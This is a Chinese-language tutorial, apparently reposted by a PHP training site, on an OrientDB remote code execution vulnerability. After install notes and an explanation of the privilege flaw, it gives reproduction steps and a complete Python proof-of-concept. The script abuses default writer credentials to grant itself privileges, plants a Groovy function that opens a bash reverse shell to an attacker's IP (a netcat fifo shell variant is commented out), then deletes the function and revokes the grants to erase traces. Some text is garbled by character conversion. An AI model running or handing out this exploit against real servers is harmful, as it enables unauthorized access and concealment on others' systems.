《Oreint DB 遠程代碼執行漏洞》要點:
本文介紹了Oreint DB 遠程代碼執行漏洞,希望對您有用。如果有疑問,可以聯系我們。
0×01 關于orient db數據庫
OrientDB是一個開源NoSQL數據庫管理系統. NoSQL數據庫提供了一種用于存儲和檢索引用除表式數據之外的數據(例如文檔數據或圖形數據)的NO關系或非關系數據的機制. NoSQL數據庫越來越多地用于大數據和實時Web應用法式. NoSQL系統有時也被稱為“Not Only SQL”,以強調它們可能支持類似SQL的查詢語言.
OrientDB也屬于NoSQL系列. OrientDB是第二代分布式數據庫,具有靈活性的文檔在一個產物與Apache 2許可證的開放源代碼. 在OrientDB之前市場上有幾個NoSQL數據庫,其中一個是MongoDB.
0×01 orient db 數據庫的根基知識
步調1 – 下載OrientDB二進制設置文件
下載地址:http://orientdb.com/download社區版和企業版都可以在任何實現Java虛擬機(JVM)的操作系統上運行. OrientDB必要1.7或更高版本的Java.
步調2 – 解壓并安裝OrientDB
以下是為分歧操作系統提取和安裝OrientDB的過程.在Linux中將orientdb-community-2.1.9.tar.gz文件解壓,可以使用以下命令提取tarred文件.
$ tar –zxvf orientdb-community-2.1.9.tar.gz
使用以下敕令將所有OrientDB庫文件從orientdbcommunity-2.1.9移動到/opt/orientdb/目錄. 這里要用sudo
$ sudo mv orientdb-community-2.1.9 /opt/orientdb
使用以下敕令注冊orientdb敕令和Orient服務器.
$ export ORIENTDB_HoME = /opt/orientdb$ export PATH = $PATH:$ORIENTDB_HOME/bin
在Windows中將orientdb-community-2.1.9.zip文件解壓,將提取出的文件夾移動到C:\目錄.使用以下給定值創立兩個環境變量ORIENTDB_HOME和PATH變量.
ORIENT_HOME = C:orientdb-community-2.1.9 PATH = C:orientdb-community-2.1.9in
步調3 – 配置OrientDB服務器作為服務
這里就說下linux的~OrientDB提供了一個名為orientdb.sh的腳本文件,以作為守護程序運行數據庫.在OrientDB安裝目錄的$ORIENTDB_HOME/bin/orientdb.sh的bin目錄中可以找到它.在運行腳本文件之前,編纂orientdb.sh文件以定義兩個變量.一個是ORIENTDB_DIR,它定義了安裝目錄/opt/orientdb的路徑,第二個是ORIENTDB_USER,它定義了要運行OrientDB的用戶名,如下所示.
ORIENTDB_DIR = "/opt/orientdb" ORIENTDB_USER = ""
使用以下命令將orientdb.sh文件復制到/etc/init.d/目錄中以初始化和運行劇本.
$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb
使用以下命令將console.sh文件從OrientDB安裝目錄$ ORIENTDB_HOME / bin復制到系統bin目錄(即/ usr / bin)以拜訪Orient DB的控制臺.
$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb
使用下面的命令來啟動ORIENTDB數據庫服務器作為服務.在這里,你必須提供你在orientdb.sh文件提及啟動服務器的相應用戶的暗碼.$ service orientdb start使用以下命令知道哪個PID的OrientDB服務器守護程序正在運行.$ service orientdb status使用以下命令停止OrientDB服務器守護程序.$ service orientdb stop
0×02 漏洞闡發
1、OrientDB使用RBAC模型進行認證方案.默認情況下,OrientDB有3個角色:admin, writer and reader.它們的功能與與用戶名稱所飾演的角色相同.對于在服務器上創建的每個數據庫,默認情況下會分配3個用戶.
2、用戶的權限分派如下:
admin : 拜訪數據庫上的所有功能,沒有任何限制reader: 只讀用戶.讀者可以查詢數據庫中的任何記錄,但不能修改或刪除它,也不能拜訪內部信息,例如用戶和角色本身的信息.writer: 與reader相同,但它也可以創建,更新和刪除記錄.
3、漏洞發生原理
管理員通過ORole結構處理用戶以及他們角色,OrientDB必要oRole讀取權限,以允許用戶顯示用戶權限,并使與oRole權限相關聯的其他查詢.
從版本2.2.x及以上版本,只要oRole被查詢,fetchplan和order by語句,則不必要此權限要求,并將信息返回給非特權用戶.
由于Orient db啟用了這些功能 where、fetchplan、order by,導致了OrientDB具有一個可以執行常規的功能,并且這個groovy封裝器沒有沙箱進行保護導致了系統功能被拜訪,導致我們可以運任何命令.
0×03 漏洞復現進程
1、首先先確定版本號,版本號切實其實定可由返回頭確定
2、接著我們拜訪 http://Taarget:2480/listDatabases 獲取數據庫名稱,他會返回為一個json列表
3、用writer的身份測驗考試Http基礎認證,看其是否對數據庫可寫.如果可寫,那么則漏洞存在.
檢測三部門的權限是否能得到提升:1)database.class.ouser
檢測是否可以作為特權賬戶操作數據庫
2)database.function
是否啟用功效操作
3)database.function
是否有系統的拜訪權限
驗證辦法如下:
payload:http://Target:2480/command/database_name/sql/-/20必修format=rid,type,version,class,graph
以POST的方式哀求如下數據:
GRANT execute ON database.class.ouser TO writer
GRANT execute ON database.function TO writer
GRANT execute ON database.systemclusters TO writer
如果勝利執行則可以利用.
上面給出exp:
{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/' + reverse_ip + '/6666 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":null}
在目標用bash反彈,當地你可以用nc監聽,運行如下命令:netcat -lp 6666
末了給出PoC:
#! /usr/bin/env python#-- coding: utf-8 --# OrientDB <= 2.22 RCE PoCimport sysimport requestsimport jsonimport stringimport randomtarget = sys.argv[1]try: port = sys.argv[2] if sys.argv[2] else 2480except: port = 2480url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20必修format=rid,type,version,class,graph"%(target,port)def random_function_name(size=5, chars=string.asciilowercase + string.digits): return ''.join(random.choice(chars) for in range(size))def enum_databases(target,port="2480"): base_url = "http://%s:%s/listDatabases"%(target,port) req = requests.get(base_url) if req.status_code == 200: #print "[+] Database Enumeration successful" database = req.json()['databases'] return database return Falsedef check_version(target,port="2480"): base_url = "http://%s:%s/listDatabases"%(target,port) req = requests.get(base_url) if req.status_code == 200: headers = req.headers['server'] #print headers if "2.2" in headers or "3." in headers: return True return Falsedef run_queries(permission,db,content=""): databases = enum_databases(target) url = "http://%s:%s/command/%s/sql/-/20必修format=rid,type,version,class,graph"%(target,port,databases[0]) priv_enable = ["create","read","update","execute","delete"] #query = "GRANT create ON database.class.ouser TO writer" for priv in priv_enable: if permission == "GRANT": query = "GRANT %s ON %s TO writer"%(priv,db) else: query = "REVOKE %s ON %s FROM writer"%(priv,db) req = requests.post(url,data=query,auth=('writer','writer')) if req.status_code == 200: pass else: if priv == "execute": return True return False print "[+] %s"%(content) return Truedef priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return Falsedef exploit(target,port="2480"): #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null' #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None} func_name = random_function_name() print func_name databases = enum_databases(target) reverse_ip = raw_input('Enter the ip to connect back: ') query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":null}' #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file << (\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute() ","parameters":null}' #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None} req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer')) if req.status_code == 201: #print req.status_code #print req.json() func_id = req.json()['@rid'].strip("#") #print func_id print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name) req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer')) #print req.status_code #print req.text if req.status_code == 200: print "[+] Open netcat at port 8081.." else: print "[+] Exploitation failed at last step, try running the script again." print req.status_code print req.text #print "[+] Deleting traces.." req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer')) priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser") priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function") priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters") #print req.status_code #print req.textdef main(): target = sys.argv[1] #port = sys.argv[1] if sys.argv[1] else 2480 try: port = sys.argv[2] if sys.argv[2] else 2480 #print port except: port = 2480 if priv_escalation(target,port): exploit(target,port) else: print "[+] Target not vulnerable"main()
維易PHP培訓學院每天發布《Oreint DB 遠程代碼執行漏洞》等實戰技能,PHP、MYSQL、LINUX、APP、JS,CSS全面培養人才。
轉載請注明本頁網址:
http://www.snjht.com/jiaocheng/9571.html